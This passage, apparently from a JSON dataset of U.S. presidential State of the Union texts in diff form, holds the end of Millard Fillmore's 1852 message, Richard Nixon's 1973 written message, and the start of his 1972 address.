laid\nbefore you.Further appropriations will also be necessary for grading and paving the\nstreets and avenues and inclosing and embellishing the public grounds\nwithin the city of Washington.I commend all these objects, together with the charitable institutions of\nthe District, to your favorable regard. Every effort has been made to\nprotect our frontier and that of the adjoining Mexican States from the\nincursions of the Indian tribes. Of about 11,000 men of which the Army is\ncomposed, nearly 8,000 are employed in the defense of the newly acquired\nterritory (including Texas) and of emigrants proceeding thereto. I am\ngratified to say that these efforts have been unusually successful. With\nthe exception of some partial outbreaks in California and Oregon and\noccasional depredations on a portion of the Rio Grande, owing, it is\nbelieved, to the disturbed state of that border region, the inroads of the\nIndians have been effectually restrained.Experience has shown, however, that whenever the two races are brought into\ncontact collisions will inevitably occur. To prevent these collisions the\nUnited States have generally set apart portions of their territory for the\nexclusive occupation of the Indian tribes. A difficulty occurs, however, in\nthe application of this policy to Texas. By the terms of the compact by\nwhich that State was admitted into the Union she retained the ownership of\nall the vacant lands within her limits. The government of that State, it is\nunderstood, has assigned no portion of her territory to the Indians, but as\nfast as her settlements advance lays it off into counties and proceeds to\nsurvey and sell it. This policy manifestly tends not only to alarm and\nirritate the Indians, but to compel them to resort to plunder for\nsubsistence. It also deprives this Government of that influence and control\nover them without which no durable peace can ever exist between them and\nthe whites. I trust, therefore, that a due regard for her own interests,\napart from considerations of humanity and justice, will induce that State\nto assign a small portion of her vast domain for the provisional occupancy\nof the small remnants of tribes within her borders, subject, of course, to\nher ownership and eventual jurisdiction. If she should fail to do this, the\nfulfillment of our treaty stipulations with Mexico and our duty to the\nIndians themselves will, it is feared, become a subject of serious\nembarrassment to the Government. It is hoped, however, that a timely and\njust provision by Texas may avert this evil.No appropriations for fortifications were made at the two last sessions of\nCongress. The cause of this omission is probably to be found in a growing\nbelief that the system of fortifications adopted in 1816, and heretofore\nacted on, requires revision.The subject certainly deserves full and careful investigation, but it\nshould not be delayed longer than can be avoided. In the meantime there are\ncertain works which have been commenced, some of them nearly completed,\ndesigned to protect our principal seaports from Boston to New Orleans and a\nfew other important points. In regard to the necessity for these works, it\nis believed that little difference of opinion exists among military men. I\ntherefore recommend that the appropriations necessary to prosecute them be\nmade.I invite your attention to the remarks on this subject and on others\nconnected with his Department contained in the accompanying report of the\nSecretary of War.Measures have been taken to carry into effect the law of the last session\nmaking provision for the improvement of certain rivers and harbors, and it\nis believed that the arrangements made for that purpose will combine\nefficiency with economy. Owing chiefly to the advanced season when the act\nwas passed, little has yet been done in regard to many of the works beyond\nmaking the necessary preparations. With respect to a few of the\nimprovements, the sums already appropriated will suffice to complete them;\nbut most of them will require additional appropriations. I trust that these\nappropriations will be made, and that this wise and beneficent policy, so\nauspiciously resumed, will be continued. Great care should be taken,\nhowever, to commence no work which is not of sufficient importance to the\ncommerce of the country to be viewed as national in its character. But\nworks which have been commenced should not be discontinued until completed,\nas otherwise the sums expended will in most cases be lost.The report from the Navy Department will inform you of the prosperous\ncondition of the branch of the public service committed to its charge. It\npresents to your consideration many topics and suggestions of which I ask\nyour approval. It exhibits an unusual degree of activity in the operations\nof the Department during the past year. The preparations for the Japan\nexpedition, to which I have already alluded; the arrangements made for the\nexploration and survey of the China Seas, the Northern Pacific, and\nBehrings Straits; the incipient measures taken toward a reconnoissance of\nthe continent of Africa eastward of Liberia; the preparation for an early\nexamination of the tributaries of the river La Plata, which a recent decree\nof the provisional chief of the Argentine Confederation has opened to\nnavigation--all these enterprises and the means by which they are proposed\nto be accomplished have commanded my full approbation, and I have no doubt\nwill be productive of most useful results.Two officers of the Navy were heretofore instructed to explore the whole\nextent of the Amazon River from the confines of Peru to its mouth. The\nreturn of one of them has placed in the possession of the Government an\ninteresting and valuable account of the character and resources of a\ncountry abounding in the materials of commerce, and which if opened to the\nindustry of the world will prove an inexhaustible fund of wealth. The\nreport of this exploration will be communicated to you as soon as it is\ncompleted.Among other subjects offered to your notice by the Secretary of the Navy, I\nselect for special commendation, in view of its connection with the\ninterests of the Navy, the plan submitted by him for the establishment of a\npermanent corps of seamen and the suggestions he has presented for the\nreorganization of the Naval Academy.In reference to the first of these, I take occasion to say that I think it\nwill greatly improve the efficiency of the service, and that I regard it as\nstill more entitled to favor for the salutary influence it must exert upon\nthe naval discipline, now greatly disturbed by the increasing spirit of\ninsubordination resulting from our present system. The plan proposed for\nthe organization of the seamen furnishes a judicious substitute for the law\nof September, 1850, abolishing corporal punishment, and satisfactorily\nsustains the policy of that act under conditions well adapted to maintain\nthe authority of command and the order and security of our ships. It is\nbelieved that any change which proposes permanently to dispense with this\nmode of punishment should be preceded by a system of enlistment which shall\nsupply the Navy with seamen of the most meritorious class, whose good\ndeportment and pride of character may preclude all occasion for a resort to\npenalties of a harsh or degrading nature. The safety of a ship and her crew\nis often dependent upon immediate obedience to a command, and the authority\nto enforce it must be equally ready. The arrest of a refractory seaman in\nsuch moments not only deprives the ship of indispensable aid, but imposes a\nnecessity for double service on others, whose fidelity to their duties may\nbe relied upon in such an emergency. The exposure to this increased and\narduous labor since the passage of the act of 1850 has already had, to a\nmost observable and injurious extent, the effect of preventing the\nenlistment of the best seamen in the Navy. The plan now suggested is\ndesigned to promote a condition of service in which this objection will no\nlonger exist. The details of this plan may be established in great part, if\nnot altogether, by the Executive under the authority of existing laws, but\nI have thought it proper, in accordance with the suggestion of the\nSecretary of the Navy, to submit it to your approval.The establishment of a corps of apprentices for the Navy, or boys to be\nenlisted until they become of age, and to be employed under such\nregulations as the Navy Department may devise, as proposed in the report, I\ncordially approve and commend to your consideration; and I also concur in\nthe suggestion that this system for the early training of seamen may be\nmost usefully ingrafted upon the service of our merchant marine. The other\nproposition of the report to which I have referred--the reorganization of\nthe Naval Academy--I recommend to your attention as a project worthy of\nyour encouragement and support. The valuable services already rendered by\nthis institution entitle it to the continuance of your fostering care.Your attention is respectfully called to the report of the Postmaster\nGeneral for the detailed operation of his Department during the last fiscal\nyear, from which it will be seen that the receipts from postages for that\ntime were less by $1,431,696 than for the preceding fiscal year, being a\ndecrease of about 23 per cent.This diminution is attributable to the reduction in the rates of postage\nmade by the act of March 3, 1851, which reduction took effect at the\ncommencement of the last fiscal year.Although in its operation during the last year the act referred to has not\nfulfilled the predictions of its friends by increasing the correspondence\nof the country in proportion to the reduction of postage, I should,\nnevertheless, question the policy of returning to higher rates. Experience\nwarrants the expectation that as the community becomes accustomed to cheap\npostage correspondence will increase. It is believed that from this cause\nand from the rapid growth of the country in population and business the\nreceipts of the Department must ultimately exceed its expenses, and that\nthe country may safely rely upon the continuance of the present cheap rate\nof postage.In former messages I have, among other things, respectfully recommended to\nthe consideration of Congress the propriety and necessity of further\nlegislation for the protection and punishment of foreign consuls residing\nin the United States; to revive, with certain modifications, the act of\n10th March, 1838, to restrain unlawful military expeditions against the\ninhabitants of conterminous states or territories; for the preservation and\nprotection from mutilation or theft of the papers, records, and archives of\nthe nation; for authorizing the surplus revenue to be applied to the\npayment of the public debt in advance of the time when it will become due;\nfor the establishment of land offices for the sale of the public lands in\nCalifornia and the Territory of Oregon; for the construction of a road from\nthe Mississippi Valley to the Pacific Ocean; for the establishment of a\nbureau of agriculture for the promotion of that interest, perhaps the most\nimportant in the country; for the prevention of frauds upon the Government\nin applications for pensions and bounty lands; for the establishment of a\nuniform fee bill, prescribing a specific compensation for every service\nrequired of clerks, district attorneys, and marshals; for authorizing an\nadditional regiment of mounted men for the defense of our frontiers against\nthe Indians and for fulfilling our treaty stipulations with Mexico to\ndefend her citizens against the Indians \"with equal diligence and energy as\nour own;\" for determining the relative rank between the naval and civil\nofficers in our public ships and between the officers of the Army and Navy\nin the various grades of each; for reorganizing the naval establishment by\nfixing the number of officers in each grade, and providing for a retired\nlist upon reduced pay of those unfit for active duty; for prescribing and\nregulating punishments in the Navy; for the appointment of a commission to\nrevise the public statutes of the United States by arranging them in order,\nsupplying deficiencies, correcting incongruities, simplifying their\nlanguage, and reporting them to Congress for its final action; and for the\nestablishment of a commission to adjudicate and settle private claims\nagainst the United States. I am not aware, however, that any of these\nsubjects have been finally acted upon by Congress. Without repeating the\nreasons for legislation on these subjects which have been assigned in\nformer messages, I respectfully recommend them again to your favorable\nconsideration.I think it due to the several Executive Departments of this Government to\nbear testimony to the efficiency and integrity with which they are\nconducted. With all the careful superintendence which it is possible for\nthe heads of those Departments to exercise, still the due administration\nand guardianship of the public money must very much depend on the\nvigilance, intelligence, and fidelity of the subordinate officers and\nclerks, and especially on those intrusted with the settlement and\nadjustment of claims and accounts. I am gratified to believe that they have\ngenerally performed their duties faithfully and well. They are appointed to\nguard the approaches to the public Treasury, and they occupy positions that\nexpose them to all the temptations and seductions which the cupidity of\npeculators and fraudulent claimants can prompt them to employ. It will be\nbut a wise precaution to protect the Government against that source of\nmischief and corruption, as far as it can be done, by the enactment of all\nproper legal penalties. The laws in this respect are supposed to be\ndefective, and I therefore deem it my duty to call your attention to the\nsubject and to recommend that provision be made by law for the punishment\nnot only of those who shall accept bribes, but also of those who shall\neither promise, give, or offer to give to any of those officers or clerks a\nbribe or reward touching or relating to any matter of their official action\nor duty.It has been the uniform policy of this Government, from its foundation to\nthe present day, to abstain from all interference in the domestic affairs\nof other nations. The consequence has been that while the nations of Europe\nhave been engaged in desolating wars our country has pursued its peaceful\ncourse to unexampled prosperity and happiness. The wars in which we have\nbeen compelled to engage in defense of the rights and honor of the country\nhave been, fortunately, of short duration. During the terrific contest of\nnation against nation which succeeded the French Revolution we were enabled\nby the wisdom and firmness of President Washington to maintain our\nneutrality. While other nations were drawn into this wide-sweeping\nwhirlpool, we sat quiet and unmoved upon our own shores. While the flower\nof their numerous armies was wasted by disease or perished by hundreds of\nthousands upon the battlefield, the youth of this favored land were\npermitted to enjoy the blessings of peace beneath the paternal roof. While\nthe States of Europe incurred enormous debts, under the burden of which\ntheir subjects still groan, and which must absorb no small part of the\nproduct of the honest industry of those countries for generations to come,\nthe United States have once been enabled to exhibit the proud spectacle of\na nation free from public debt, and if permitted to pursue our prosperous\nway for a few years longer in peace we may do the same again.But it is now said by some that this policy must be changed. Europe is no\nlonger separated from us by a voyage of months, but steam navigation has\nbrought her within a few days' sail of our shores. We see more of her\nmovements and take a deeper interest in her controversies. Although no one\nproposes that we should join the fraternity of potentates who have for ages\nlavished the blood and treasure of their subjects in maintaining \"the\nbalance of power,\" yet it is said that we ought to interfere between\ncontending sovereigns and their subjects for the purpose of overthrowing\nthe monarchies of Europe and establishing in their place republican\ninstitutions. It is alleged that we have heretofore pursued a different\ncourse from a sense of our weakness, but that now our conscious strength\ndictates a change of policy, and that it is consequently our duty to mingle\nin these contests and aid those who are struggling for liberty.This is a most seductive but dangerous appeal to the generous sympathies of\nfreemen. Enjoying, as we do, the blessings of a free Government, there is\nno man who has an American heart that would not rejoice to see these\nblessings extended to all other nations. We can not witness the struggle\nbetween the oppressed and his oppressor anywhere without the deepest\nsympathy for the former and the most anxious desire for his triumph.\nNevertheless, is it prudent or is it wise to involve ourselves in these\nforeign wars? Is it indeed true that we have heretofore refrained from\ndoing so merely from the degrading motive of a conscious weakness? For the\nhonor of the patriots who have gone before us, I can not admit it. Men of\nthe Revolution, who drew the sword against the oppressions of the mother\ncountry and pledged to Heaven \"their lives, their fortunes, and their\nsacred honor\" to maintain their freedom, could never have been actuated by\nso unworthy a motive. They knew no weakness or fear where right or duty\npointed the way, and it is a libel upon their fair fame for us, while we\nenjoy the blessings for which they so nobly fought and bled, to insinuate\nit. The truth is that the course which they pursued was dictated by a stern\nsense of international justice, by a statesmanlike prudence and a\nfar-seeing wisdom, looking not merely to the present necessities but to the\npermanent safety and interest of the country. They knew that the world is\ngoverned less by sympathy than by reason and force; that it was not\npossible for this nation to become a \"propagandist\" of free principles\nwithout arraying against it the combined powers of Europe, and that the\nresult was more likely to be the overthrow of republican liberty here than\nits establishment there. History has been written in vain for those who can\ndoubt this. France had no sooner established a republican form of\ngovernment than she manifested a desire to force its blessings on all the\nworld. Her own historian informs us that, hearing of some petty acts of\ntyranny in a neighboring principality, \"the National Convention declared\nthat she would afford succor and fraternity to all nations who wished to\nrecover their liberty, and she gave it in charge to the executive power to\ngive orders to the generals of the French armies to aid all citizens who\nmight have been or should be oppressed in the cause of liberty.\" Here was\nthe false step which led to her subsequent misfortunes. She soon found\nherself involved in war with all the rest of Europe. In less than ten years\nher Government was changed from a republic to an empire, and finally, after\nshedding rivers of blood, foreign powers restored her exiled dynasty and\nexhausted Europe sought peace and repose in the unquestioned ascendency of\nmonarchical principles. Let us learn wisdom from her example. Let us\nremember that revolutions do not always establish freedom. Our own free\ninstitutions were not the offspring of our Revolution. They existed before.\nThey were planted in the free charters of self-government under which the\nEnglish colonies grew up, and our Revolution only freed us from the\ndominion of a foreign power whose government was at variance with those\ninstitutions. But European nations have had no such training for\nself-government, and every effort to establish it by bloody revolutions has\nbeen, and must without that preparation continue to be, a failure. Liberty\nunregulated by law degenerates into anarchy, which soon becomes the most\nhorrid of all despotisms. Our policy is wisely to govern ourselves, and\nthereby to set such an example of national justice, prosperity, and true\nglory as shall teach to all nations the blessings of self-government and\nthe unparalleled enterprise and success of a free people.We live in an age of progress, and ours is emphatically a country of\nprogress. Within the last half century the number of States in this Union\nhas nearly doubled, the population has almost quadrupled, and our\nboundaries have been extended from the Mississippi to the Pacific. Our\nterritory is checkered over with railroads and furrowed with canals. The\ninventive talent of our country is excited to the highest pitch, and the\nnumerous applications for patents for valuable improvements distinguish\nthis age and this people from all others. The genius of one American has\nenabled our commerce to move against wind and tide and that of another has\nannihilated distance in the transmission of intelligence. The whole country\nis full of enterprise. Our common schools are diffusing intelligence among\nthe people and our industry is fast accumulating the comforts and luxuries\nof life. This is in part owing to our peculiar position, to our fertile\nsoil and comparatively sparse population; but much of it is also owing to\nthe popular institutions under which we live, to the freedom which every\nman feels to engage in any useful pursuit according to his taste or\ninclination, and to the entire confidence that his person and property will\nbe protected by the laws. But whatever may be the cause of this\nunparalleled growth in population, intelligence, and wealth, one tiring is\nclear--that the Government must keep pace with the progress of the people.\nIt must participate in their spirit of enterprise, and while it exacts\nobedience to the laws and restrains all unauthorized invasions of the\nrights of neighboring states, it should foster and protect home industry\nand lend its powerful strength to the improvement of such means of\nintercommunication as are necessary to promote our internal commerce and\nstrengthen the ties which bind us together as a people.It is not strange, however much it may be regretted, that such an\nexuberance of enterprise should cause some individuals to mistake change\nfor progress and the invasion of the rights of others for national prowess\nand glory. The former are constantly agitating for some change in the\norganic law, or urging new and untried theories of human rights. The latter\nare ever ready to engage in any wild crusade against a neighboring people,\nregardless of the justice of the enterprise and without looking at the\nfatal consequences to ourselves and to the cause of popular government.\nSuch expeditions, however, are often stimulated by mercenary individuals,\nwho expect to share the plunder or profit of the enterprise without\nexposing themselves to danger, and are led on by some irresponsible\nforeigner, who abuses the hospitality of our own Government by seducing the\nyoung and ignorant to join in his scheme of personal ambition or revenge\nunder the false and delusive pretense of extending the area of freedom.\nThese reprehensible aggressions but retard the true progress of our nation\nand tarnish its fair fame. They should therefore receive the indignant\nfrowns of every good citizen who sincerely loves his country and takes a\npride in its prosperity and honor. Our Constitution, though not perfect, is\ndoubtless the best that ever was formed. Therefore let every proposition to\nchange it be well weighed and, if found beneficial, cautiously adopted.\nEvery patriot will rejoice to see its authority so exerted as to advance\nthe prosperity and honor of the nation, whilst he will watch with jealousy\nany attempt to mutilate this charter of our liberties or pervert its powers\nto acts of aggression or injustice. Thus shall conservatism and progress\nblend their harmonious action in preserving the form and spirit of the\nConstitution and at the same time carry forward the great improvements of\nthe country with a rapidity and energy which freemen only can display.In closing this my last annual communication, permit me, fellow-citizens,\nto congratulate you on the prosperous condition of our beloved country.\nAbroad its relations with all foreign powers are friendly, its rights are\nrespected, and its high place in the family of nations cheerfully\nrecognized. At home we enjoy an amount of happiness, public and private,\nwhich has probably never fallen to the lot of any other people. Besides\naffording to our own citizens a degree of prosperity of which on so large a\nscale I know of no other instance, our country is annually affording a\nrefuge and a home to multitudes, altogether without example, from the Old\nWorld.We owe these blessings, under Heaven, to the happy Constitution and\nGovernment which were bequeathed to us by our fathers, and which it is our\nsacred duty to transmit in all their integrity to our children. We must all\nconsider it a great distinction and privilege to have been chosen by the\npeople to bear a part in the administration of such a Government. Called by\nan unexpected dispensation to its highest trust at a season of\nembarrassment and alarm, I entered upon its arduous duties with extreme\ndiffidence. I claim only to have discharged them to the best of an humble\nability, with a single eye to the public good, and it is with devout\ngratitude in retiring from office that I leave the country in a state of\npeace and prosperity.", 
+    "name": "Millard Fillmore"
+}
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+{
+    "date": "February 2, 1973", 
+    "speech": "To the Congress of the United States:The traditional form of the President's annual report giving \"to the\nCongress Information of the State of the Union\" is a single message or\naddress. As the affairs and concerns of our Union have multiplied over the\nyears, however, so too have the subjects that require discussion in State\nof the Union Messages.This year in particular, with so many changes in Government programs under\nconsideration--and with our very philosophy about the relationship between\nthe individual and the State at an historic crossroads--a single,\nall-embracing State of the Union Message would not appear to be adequate.I have therefore decided to present my 1973 State of the Union report in\nthe form of a series of messages during these early weeks of the 93rd\nCongress. The purpose of this first message in the series is to give a\nconcise overview of where we stand as a people today, and to outline some\nof the general goals that I believe we should pursue over the next year and\nbeyond. In coming weeks, I will send to the Congress further State of the\nUnion reports on specific areas of policy including economic affairs,\nnatural resources, human resources, community development and foreign and\ndefense policy.The new course these messages will outline represents a fresh approach to\nGovernment: an approach that addresses the realities of the 1970s, not\nthose of the 1930s or of the 1960s. The role of the Federal Government as\nwe approach our third century of independence should not be to dominate any\nfacet of American life, but rather to aid and encourage people, communities\nand institutions to deal with as many of the difficulties and challenges\nfacing them as possible, and to help see to it that every American has a\nfull and equal opportunity to realize his or her potential.If we were to continue to expand the Federal Government at the rate of the\npast several decades, it soon would consume us entirely. The time has come\nwhen we must make clear choices--choices between old programs that set\nworthy goals but failed to reach them and new programs that provide a\nbetter way to realize those goals; and choices, too, between competing\nprograms--all of which may be desirable in themselves but only some of\nwhich we can afford with the finite resources at our command.Because our resources are not infinite, we also face a critical choice in\n1973 between holding the line in Government spending and adopting expensive\nprograms which will surely force up taxes and refuel inflation.Finally, it is vital at this time that we restore a greater sense of\nresponsibility at the State and local level, and among individual\nAmericans.WHERE WE STANDThe basic state of our Union today is sound, and full of promise.We enter 1973 economically strong, militarily secure and, most important of\nall, at peace after a long and trying war.America continues to provide a better and more abundant life for more of\nits people than any other nation in the world. We have passed through one\nof the most difficult periods in our history without surrendering to\ndespair and without dishonoring our ideals as a people.Looking back, there is a lesson in all this for all of us. The lesson is\none that we sometimes had to learn the hard way over the past few years.\nBut we did learn it. That lesson is that even potentially destructive\nforces can be converted into positive forces when we know how to channel\nthem, and when we use common sense and common decency to create a climate\nof mutual respect and goodwill.By working together and harnessing the forces of nature, Americans have\nunlocked some of the great mysteries of the universe.Men have walked the surface of the moon and soared to new heights of\ndiscovery.This same spirit of discovery is helping us to conquer disease and\nsuffering that have plagued our own planet since the dawn of time.By working together with the leaders of other nations, we have been able to\nbuild a new hope for lasting peace--for a structure of world order in which\ncommon interest outweighs old animosities, and in which a new generation of\nthe human family can grow up at peace in a changing world.At home, we have learned that by working together we can create prosperity\nwithout fanning inflation; we can restore order without weakening freedom.THE CHALLENGES WE FACEThese first years of the 1970s have been good years for America.Our job--all of us together--is to make 1973 and the years to come even\nbetter ones. I believe that we can. I believe that we can make the years\nleading to our Bicentennial the best four years in American history.But we must never forget that nothing worthwhile can be achieved without\nthe will to succeed and the strength to sacrifice.Hard decisions must be made, and we must stick by them.In the field of foreign policy, we must remember that a strong America--an\nAmerica whose word is believed and whose strength is respected--is\nessential to continued peace and understanding in the world. The peace with\nhonor we have achieved in Vietnam has strengthened this basic American\ncredibility. We must act in such a way in coming years that this\ncredibility will remain intact, and with it, the world stability of which\nit is so indispensable a part.At home, we must reject the mistaken notion--a notion that has dominated\ntoo much of the public dialogue for too long--that ever bigger Government\nis the answer to every problem.We have learned only too well that heavy taxation and excessive Government\nspending are not a cure-all. In too many cases, instead of solving the\nproblems they were aimed at, they have merely placed an ever heavier burden\non the shoulders of the American taxpayer, in the form of higher taxes and\na higher cost of living. At the same time they have deceived our people\nbecause many of the intended beneficiaries received far less than was\npromised, thus undermining public faith in the effectiveness of Government\nas a whole.The time has come for us to draw the line. The time has come for the\nresponsible leaders of both political parties to take a stand against\novergrown Government and for the American taxpayer. We are not spending the\nFederal Government's money, we are spending the taxpayer's money, and it\nmust be spent in a way which guarantees his money's worth and yields the\nfullest possible benefit to the people being helped.The answer to many of the domestic problems we face is not higher taxes and\nmore spending. It is less waste, more results and greater freedom for the\nindividual American to earn a rightful place in his own community--and for\nStates and localities to address their own needs in their own ways, in the\nlight of their own priorities.By giving the people and their locally elected leaders a greater voice\nthrough changes such as revenue sharing, and by saying \"no\" to excessive\nFederal spending and higher taxes, we can help achieve this goal.COMING MESSAGESThe policies which I will outline to the Congress in the weeks ahead\nrepresent a reaffirmation, not an abdication, of Federal responsibility.\nThey represent a pragmatic rededication to social compassion and national\nexcellence, in place of the combination of good intentions and fuzzy\nfollow-through which too often in the past was thought sufficient.In the field of economic affairs, our objectives will be to hold down\ntaxes, to continue controlling inflation, to promote economic growth, to\nincrease productivity, to encourage foreign trade, to keep farm income\nhigh, to bolster small business, and to promote better labor-management\nrelations.In the area of natural resources, my recommendations will include programs\nto preserve and enhance the environment, to advance science and technology,\nand to assure balanced use of our irreplaceable natural resources.In developing human resources, I will have recommendations to advance the\nNation's health and education, to improve conditions of people in need, to\ncarry forward our increasingly successful attacks on crime, drug abuse and\ninjustice, and to deal with such important areas of special concern as\nconsumer affairs. We will continue and improve our Nation's efforts to\nassist those who have served in the Armed Services in Vietnam through\nbetter job and training opportunities.We must do a better job in community development--in creating more livable\ncommunities, in which all of our children can grow up with fuller access to\nopportunity and greater immunity to the social evils and blights which now\nplague so many of our towns and cities. I shall have proposals to help us\nachieve this.I shall also deal with our defense and foreign policies, and with our new\napproaches to the role and structure of Government itself.Considered as a whole, this series of messages will be a blueprint for\nmodernizing the concept and the functions of American Government to meet\nthe needs of our people.Converting it into reality will require a spirit of cooperation and shared\ncommitment on the part of all branches of the Government, for the goals we\nseek are not those of any single party or faction, they are goals for the\nbetterment of all Americans. As President, I recognize that I cannot do\nthis job alone. The Congress must help, and I pledge to do my part to\nachieve a constructive working relationship with the Congress. My sincere\nhope is that the executive and legislative branches can work together in\nthis great undertaking in a positive spirit of mutual respect and\ncooperation.Working together--the Congress, the President and the people--I am\nconfident that we can translate these proposals into an action program that\ncan reform and revitalize American Government and, even more important,\nbuild a better life for all Americans.The White House,February 2, 1973.", 
+    "name": "Richard Nixon"
+}
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+{
+    "date": "January 20, 1972", 
+    "speech": "Mr. Speaker, Mr. President, my colleagues in the Congress, our\ndistinguished guests, my fellow Americans:Twenty-five years ago I sat here as a freshman Congressman--along with\nSpeaker Albert--and listened for the first time to the President address\nthe State of the Union.I shall never forget that moment. The Senate, the diplomatic corps, the\nSupreme Court, the Cabinet entered the Chamber, and then the President of\nthe United States. As all of you are aware, I had some differences with\nPresident Truman. He had some with me. But I remember that on that day--the\nday he addressed that joint session of the newly elected Republican 80th\nCongress, he spoke not as a partisan, but as President of all the\npeople--calling upon the Congress to put aside partisan considerations in\nthe national interest.The Greek-Turkish aid program, the Marshall Plan, the great foreign policy\ninitiatives which have been responsible for avoiding a world war for over\n25 years were approved by the 80th Congress, by a bipartisan majority of\nwhich I was proud to be a part.Nineteen hundred seventy-two is now before us. It holds precious time in\nwhich to accomplish good for the Nation. We must not waste it. I know the\npolitical pressures in this session of the Congress will be great. There\nare more candidates for the Presidency in this Chamber today than there\nprobably have been at any one time in the whole history of the Republic.\nAnd there is an honest difference of opinion, not only between the parties,\nbut within each party, on some foreign policy issues and on some domestic\npolicy issues.However, there are great national problems that are so vital that they\ntranscend partisanship. So let us have our debates. Let us have our honest\ndifferences. But let us join in keeping the national interest first. Let us\njoin in making sure that legislation the Nation needs does not become\nhostage to the political interests of any party or any person.There is ample precedent, in this election year, for me to present you with\na huge list of new proposals, knowing full well that there would not be any\npossibility of your passing them if you worked night and day.I shall not do that.I have presented to the leaders of the Congress today a message of 15,000\nwords discussing in some detail where the Nation stands and setting forth\nspecific legislative items on which I have asked the Congress to act. Much\nof this is legislation which I proposed in 1969, in 1970, and also in the\nfirst session of this 92d Congress and on which I feel it is essential that\naction be completed this year.I am not presenting proposals which have attractive labels but no hope of\npassage. I am presenting only vital programs which are within the capacity\nof this Congress to enact, within the capacity of the budget to finance,\nand which I believe should be above partisanship--programs which deal with\nurgent priorities for the Nation, which should and must be the subject of\nbipartisan action by this Congress in the interests of the country in\n1972.When I took the oath of office on the steps of this building just 3 years\nago today, the Nation was ending one of the most tortured decades in its\nhistory.The 1960's were a time of great progress in many areas. But as we all know,\nthey were also times of great agony--the agonies of war, of inflation, of\nrapidly rising crime, of deteriorating titles, of hopes raised and\ndisappointed, and of anger and frustration that led finally to violence and\nto the worst civil disorder in a century.I recall these troubles not to point any fingers of blame. The Nation was\nso torn in those final years of the sixties that many in both parties\nquestioned whether America could be governed at all.The Nation has made significant progress in these first years of the\nseventies:Our cities are no longer engulfed by civil disorders.Our colleges and universities have again become places of learning instead\nof battlegrounds.A beginning has been made in preserving and protecting our environment.The rate of increase in crime has been slowed--and here in the District of\nColumbia, the one city where the Federal Government has direct\njurisdiction, serious crime in 1971 was actually reduced by 13 percent from\nthe year before.Most important, because of the beginnings that have been made, we can say\ntoday that this year 1972 can be the year in which America may make the\ngreatest progress in 25 years toward achieving our goal of being at peace\nwith all the nations of the world.As our involvement in the war in Vietnam comes to an end, we must now go on\nto build a generation of peace.To achieve that goal, we must first face realistically the need to maintain\nour defense.In the past 3 years, we have reduced the burden of arms. For the first time\nin 20 years, spending on defense has been brought below spending on human\nresources.As we look to the future, we find encouraging progress in our negotiations\nwith the Soviet Union on limitation of strategic arms. And looking further\ninto the future, we hope there can eventually be agreement on the mutual\nreduction of arms. But until there is such a mutual agreement, we must\nmaintain the strength necessary to deter war.And that is why, because of rising research and development costs, because\nof increases in military and civilian pay, because of the need to proceed\nwith new weapons systems, my budget for the coming fiscal year will provide\nfor an increase in defense spending.Strong military defenses are not the enemy of peace; they are the guardians\nof peace.There could be no more misguided set of priorities than one which would\ntempt others by weakening America, and thereby endanger the peace of the\nworld.In our foreign policy, we have entered a new era. The world has changed\ngreatly in the 11 years since President John Kennedy said in his Inaugural\nAddress, \"... we shall pay any price, bear any burden, meet any hardship,\nsupport any friend, oppose any foe to assure the survival and the success\nof liberty.\"Our policy has been carefully and deliberately adjusted to meet the new\nrealities of the new world we live in. We make today only those commitments\nwe are able and prepared to meet.Our commitment to freedom remains strong and unshakable. But others must\nbear their share of the burden of defending freedom around the world.And so this, then, is our policy:--We will maintain a nuclear deterrent adequate to meet any threat to the\nsecurity of the United States or of our allies.--We will help other nations develop the capability of defending\nthemselves.--We will faithfully honor all of our treaty commitments.--We will act to defend our interests, whenever and wherever they are\nthreatened anyplace in the world.--But where our interests or our treaty commitments are not involved, our\nrole will be limited.--We will not intervene militarily.--But we will use our influence to prevent war.--If war comes, we will use our influence to stop it.--Once it is over, we will do our share in helping to bind up the wounds of\nthose who have participated in it.As you know, I will soon be visiting the People's Republic of China and the\nSoviet Union. I go there with no illusions. We have great differences with\nboth powers. We shall continue to have great differences. But peace depends\non the ability of great powers to live together on the same planet despite\ntheir differences.We would not be true to our obligation to generations yet unborn if we\nfailed to seize this moment to do everything in our power to insure that we\nwill be able to talk about those differences, rather than to fight about\nthem, in the future.As we look back over this century, let us, in the highest spirit of\nbipartisanship, recognize that we can be proud of our Nation's record in\nforeign affairs.America has given more generously of itself toward maintaining freedom,\npreserving peace, alleviating human suffering around the globe, than any\nnation has ever done in the history of man.We have fought four wars in this century, but our power has never been used\nto break the peace, only to keep it; never been used to destroy freedom,\nonly to defend it. We now have within our reach the goal of insuring that\nthe next generation can be the first generation in this century to be\nspared the scourges of war.Turning to our problems at home, we are making progress toward our goal of\na new prosperity without war.Industrial production, consumer spending, retail sales, personal income all\nhave been rising. Total employment, real income are the highest in history.\nNew home building starts this past year reached the highest level ever.\nBusiness and consumer confidence have both been rising. Interest rates are\ndown. The rate of inflation is down. We can look with confidence to 1972 as\nthe year when the back of inflation will be broken.Now, this a good record, but it is not good enough--not when we still have\nan unemployment rate of 6 percent.It is not enough to point out that this was the rate of the early peacetime\nyears of the sixties, or that if the more than 2 million men released from\nthe Armed Forces and defense-related industries were still in their wartime\njobs, unemployment would be far lower.Our goal in this country is full employment in peacetime. We intend to meet\nthat goal, and we can.The Congress has helped to meet that goal by passing our job-creating tax\nprogram last month.The historic monetary agreements, agreements that we have reached with the\nmajor European nations, Canada, and Japan, will help meet it by providing\nnew markets for American products, new jobs for American workers.Our budget will help meet it by being expansionary without being\ninflationary--a job-producing budget that will help take up the gap as the\neconomy expands to full employment.Our program to raise farm income will help meet it by helping to revitalize\nrural America, by giving to America's farmers their fair share of America's\nincreasing productivity.We also will help meet our goal of full employment in peacetime with a set\nof major initiatives to stimulate more imaginative use of America's great\ncapacity for technological advance, and to direct it toward improving the\nquality of life for every American.In reaching the moon, we demonstrated what miracles American technology is\ncapable of achieving. Now the time has come to move more deliberately\ntoward making full use of that technology here on earth, of harnessing the\nwonders of science to the service of man.I shall soon send to the Congress a special message proposing a new program\nof Federal partnership in technological research and development--with\nFederal incentives to increase private research, federally supported\nresearch on projects designed to improve our everyday lives in ways that\nwill range from improving mass transit to developing new systems of\nemergency health care that could save thousands of lives annually.Historically, our superior technology and high productivity have made it\npossible for American workers to be the highest paid in the world by far,\nand yet for our goods still to compete in world markets.Now we face a new situation. As other nations move rapidly forward in\ntechnology, the answer to the new competition is not to build a wall around\nAmerica, but rather to remain competitive by improving our own technology\nstill further and by increasing productivity in American industry.Our new monetary and trade agreements will make it possible for American\ngoods to compete fairly in the world's 